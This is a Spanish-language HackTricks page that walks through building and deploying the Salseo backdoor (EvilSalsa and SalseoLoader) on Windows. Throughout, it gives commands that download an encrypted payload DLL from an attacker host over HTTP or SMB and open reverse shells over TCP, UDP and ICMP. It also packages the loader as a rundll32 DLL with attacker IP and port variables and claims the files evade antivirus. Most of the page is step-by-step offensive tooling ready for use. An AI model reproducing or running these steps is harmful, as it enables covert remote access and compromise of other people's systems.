hacktricks/backdoors/salseo.md

9.1 KiB

Salseo

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Compilando los binarios

Descarga el código fuente de Github y compila EvilSalsa y SalseoLoader. Necesitarás tener instalado Visual Studio para compilar el código.

Compila ambos proyectos para la arquitectura de la máquina Windows donde los vayas a utilizar (si Windows admite x64, compílalos para esa arquitectura).

Puedes seleccionar la arquitectura dentro de Visual Studio en la pestaña "Build" en "Platform Target".

(**Si no puedes encontrar estas opciones, presiona en la pestaña "Project" y luego en "<Nombre del proyecto> Properties")

Luego, construye ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable):

Preparando la puerta trasera

En primer lugar, necesitarás codificar el EvilSalsa.dll. Para hacerlo, puedes usar el script de Python encrypterassembly.py o puedes compilar el proyecto EncrypterAssembly:

Python

python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt

Windows

Windows

EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt

Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el EvilDalsa.dll codificado y el binario de SalseoLoader.

Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...

Ejecutar la puerta trasera

Obtener una shell inversa TCP (descargando el dll codificado a través de HTTP)

Recuerda iniciar un nc como oyente de la shell inversa y un servidor HTTP para servir el evilsalsa codificado.

SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>

Obteniendo una shell inversa UDP (descargando un dll codificado a través de SMB)

Recuerda iniciar un nc como oyente de la shell inversa, y un servidor SMB para servir el archivo evilsalsa codificado (impacket-smbserver).

SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>

Obteniendo una shell inversa ICMP (dll codificada ya dentro de la víctima)

Esta vez necesitarás una herramienta especial en el cliente para recibir la shell inversa. Descarga: https://github.com/inquisb/icmpsh

Desactivar respuestas ICMP:

sysctl -w net.ipv4.icmp_echo_ignore_all=1

#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0

Ejecutar el cliente:

python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"

Dentro de la víctima, ejecutemos la cosa salseo:

SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>

Compilando SalseoLoader como DLL exportando función principal

Abre el proyecto SalseoLoader usando Visual Studio.

Agrega antes de la función principal: [DllExport]

Instala DllExport para este proyecto

Herramientas --> Administrador de paquetes NuGet --> Administrar paquetes NuGet para la solución...

Busca el paquete DllExport (usando la pestaña Examinar) y presiona Instalar (y acepta el mensaje emergente)

En la carpeta de tu proyecto aparecerán los archivos: DllExport.bat y DllExport_Configure.bat

Desinstala DllExport

Presiona Desinstalar (sí, es extraño, pero confía en mí, es necesario)

Sal de Visual Studio y ejecuta DllExport_configure

Simplemente sal de Visual Studio

Luego, ve a tu carpeta de SalseoLoader y ejecuta DllExport_Configure.bat

Selecciona x64 (si lo vas a usar dentro de una caja x64, ese fue mi caso), selecciona System.Runtime.InteropServices (dentro de Namespace para DllExport) y presiona Aplicar

Abre el proyecto de nuevo con Visual Studio

[DllExport] ya no debería estar marcado como error

Compila la solución

Selecciona Tipo de salida = Biblioteca de clases (Proyecto --> Propiedades de SalseoLoader --> Aplicación --> Tipo de salida = Biblioteca de clases)

Selecciona la plataforma x64 (Proyecto --> Propiedades de SalseoLoader --> Compilar --> Destino de la plataforma = x64)

Para compilar la solución: Compilar --> Compilar solución (Dentro de la consola de salida aparecerá la ruta de la nueva DLL)

Prueba la DLL generada

Copia y pega la DLL donde quieras probarla.

Ejecuta:

rundll32.exe SalseoLoader.dll,main

Si no aparece ningún error, ¡probablemente tienes una DLL funcional!

Obtener una shell usando la DLL

No olvides usar un servidor HTTP y configurar un escucha nc

Powershell

$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main

CMD

CMD (Command Prompt) es una herramienta de línea de comandos en sistemas operativos Windows que permite a los usuarios interactuar con el sistema operativo mediante comandos. Los comandos CMD pueden ser utilizados para realizar diversas tareas, como la gestión de archivos y directorios, la configuración de redes, la ejecución de programas y la solución de problemas de sistema. Los hackers pueden utilizar CMD para ejecutar comandos maliciosos y crear backdoors en sistemas comprometidos.

set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥